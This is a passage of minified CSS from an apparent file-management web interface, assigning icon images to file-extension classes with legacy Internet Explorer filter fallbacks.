\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');}.x-makefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-mdb{background-image:url("../../../images/file_icon/icon_file/mdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');}.x-mdf{background-image:url("../../../images/file_icon/icon_file/mdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');}.x-mht{background-image:url("../../../images/file_icon/icon_file/mht.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');}.x-midi{background-image:url("../../../images/file_icon/icon_file/midi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');}.x-mpp{background-image:url("../../../images/file_icon/icon_file/mpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');}.x-mpt{background-image:url("../../../images/file_icon/icon_file/mpt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');}.x-msg{background-image:url("../../../images/file_icon/icon_file/msg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');}.x-msi{background-image:url("../../../images/file_icon/icon_file/msi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');}.x-numbers{background-image:url("../../../images/file_icon/icon_file/numbers.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');}.x-odp{background-image:url("../../../images/file_icon/icon_file/odp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');}.x-ods{background-image:url("../../../images/file_icon/icon_file/ods.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');}.x-odt{background-image:url("../../../images/file_icon/icon_file/odt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');}.x-oexe{background-image:url("../../../images/file_icon/icon_file/oexe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');}.x-oexe2{background-image:url("../../../images/file_icon/icon_file/oexe2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');}.x-ogg{background-image:url("../../../images/file_icon/icon_file/ogg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');}.x-pages{background-image:url("../../../images/file_icon/icon_file/pages.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');}.x-pdb{background-image:url("../../../images/file_icon/icon_file/pdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');}.x-pdf{background-image:url("../../../images/file_icon/icon_file/pdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');}.x-php{background-image:url("../../../images/file_icon/icon_file/php.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');}.x-pkg{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-pl{background-image:url("../../../images/file_icon/icon_file/pl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');}.x-png{background-image:url("../../../images/file_icon/icon_file/png.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');}.x-pps{background-image:url("../../../images/file_icon/icon_file/pps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');}.x-ppsx{background-image:url("../../../images/file_icon/icon_file/ppsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');}.x-ppt{background-image:url("../../../images/file_icon/icon_file/ppt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');}.x-pptx{background-image:url("../../../images/file_icon/icon_file/pptx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');}.x-pot{background-image:url("../../../images/file_icon/icon_file/pot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pot.png?ver=3.30',sizingMethod='scale');}.x-potx,.x-ppam{background-image:url("../../../images/file_icon/icon_file/potx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/potx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/potx.png?ver=3.30',sizingMethod='scale');}.x-prproj{background-image:url("../../../images/file_icon/icon_file/prproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');}.x-ps1{background-image:url("../../../images/file_icon/icon_file/ps1.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');}.x-psd{background-image:url("../../../images/file_icon/icon_file/psd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');}.x-pspimage{background-image:url("../../../images/file_icon/icon_file/pspimage.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');}.x-pst{background-image:url("../../../images/file_icon/icon_file/pst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');}.x-pub{background-image:url("../../../images/file_icon/icon_file/pub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');}.x-py{background-image:url("../../../images/file_icon/icon_file/py.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');}.x-rar{background-image:url("../../../images/file_icon/icon_file/rar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');}.x-rb{background-image:url("../../../images/file_icon/icon_file/rb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');}.x-reg{background-image:url("../../../images/file_icon/icon_file/reg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');}.x-resx{background-image:url("../../../images/file_icon/icon_file/resx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');}.x-rtf{background-image:url("../../../images/file_icon/icon_file/rtf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');}.x-sitx{background-image:url("../../../images/file_icon/icon_file/sitx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');}.x-sln{background-image:url("../../../images/file_icon/icon_file/sln.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');}.x-sql{background-image:url("../../../images/file_icon/icon_file/sql.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');}.x-suo{background-image:url("../../../images/file_icon/icon_file/suo.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');}.x-svg{background-image:url("../../../images/file_icon/icon_file/svg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');}.x-swf{background-image:url("../../../images/file_icon/icon_file/swf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');}.x-tar{background-image:url("../../../images/file_icon/icon_file/tar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');}.x-tga{background-image:url("../../../images/file_icon/icon_file/tga.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tga.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tga.png?ver=3.30',sizingMethod='scale');}.x-tgz{background-image:url("../../../images/file_icon/icon_file/tgz.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tgz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tgz.png?ver=3.30',sizingMethod='scale');}.x-txt{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-vb{background-image:url("../../../images/file_icon/icon_file/vb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');}.x-vbproj{background-image:url("../../../images/file_icon/icon_file/vbproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');}.x-vbs{background-image:url("../../../images/file_icon/icon_file/vbs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');}.x-vcf{background-image:url("../../../images/file_icon/icon_file/vcf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');}.x-vcproj{background-image:url("../../../images/file_icon/icon_file/vcproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');}.x-vcxproj{background-image:url("../../../images/file_icon/icon_file/vcxproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');}.x-vdw{background-image:url("../../../images/file_icon/icon_file/vdw.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');}.x-vdx{background-image:url("../../../images/file_icon/icon_file/vdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');}.x-vsd{background-image:url("../../../images/file_icon/icon_file/vsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');}.x-vsdx{background-image:url("../../../images/file_icon/icon_file/vsdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');}.x-vss{background-image:url("../../../images/file_icon/icon_file/vss.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');}.x-vst{background-image:url("../../../images/file_icon/icon_file/vst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');}.x-vsx{background-image:url("../../../images/file_icon/icon_file/vsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');}.x-vtx{background-image:url("../../../images/file_icon/icon_file/vtx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');}.x-xaml{background-image:url("../../../images/file_icon/icon_file/xaml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');}.x-xap{background-image:url("../../../images/file_icon/icon_file/xap.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');}.x-xls{background-image:url("../../../images/file_icon/icon_file/xls.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');}.x-xlsb{background-image:url("../../../images/file_icon/icon_file/xlsb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');}.x-xlsm{background-image:url("../../../images/file_icon/icon_file/xlsm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');}.x-xlsx{background-image:url("../../../images/file_icon/icon_file/xlsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');}.x-xlt{background-image:url("../../../images/file_icon/icon_file/xlt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');}.x-xltx{background-image:url("../../../images/file_icon/icon_file/xltx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');}.x-xml{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-xps{background-image:url("../../../images/file_icon/icon_file/xps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');}.x-xsd{background-image:url("../../../images/file_icon/icon_file/xsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');}.x-xsl{background-image:url("../../../images/file_icon/icon_file/xsl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');}.x-y{background-image:url("../../../images/file_icon/icon_file/y.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');}.x-zip{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-avi,.x-rm,.x-rmvb,.x-mpg,.x-mkv,.x-wmv,.x-mov,.x-mp4,.x-evo,.x-divx,.x-3gp,.x-3g2,.x-asf,.x-ogv,.x-webmv,.x-cue,.x-hd,.x-hdmov,.x-mov,.x-mp4v,.x-mpeg,.x-ogm,.x-qt,.x-spx,.x-vob,.x-wmv,.x-xvid,.x-webm,.x-m4v,.x-mts,.x-mpe,.x-m2ts,.x-mpv,.x-cue{background-image:url("../../../images/file_icon/icon_file/movie/movie.png");background-image:none 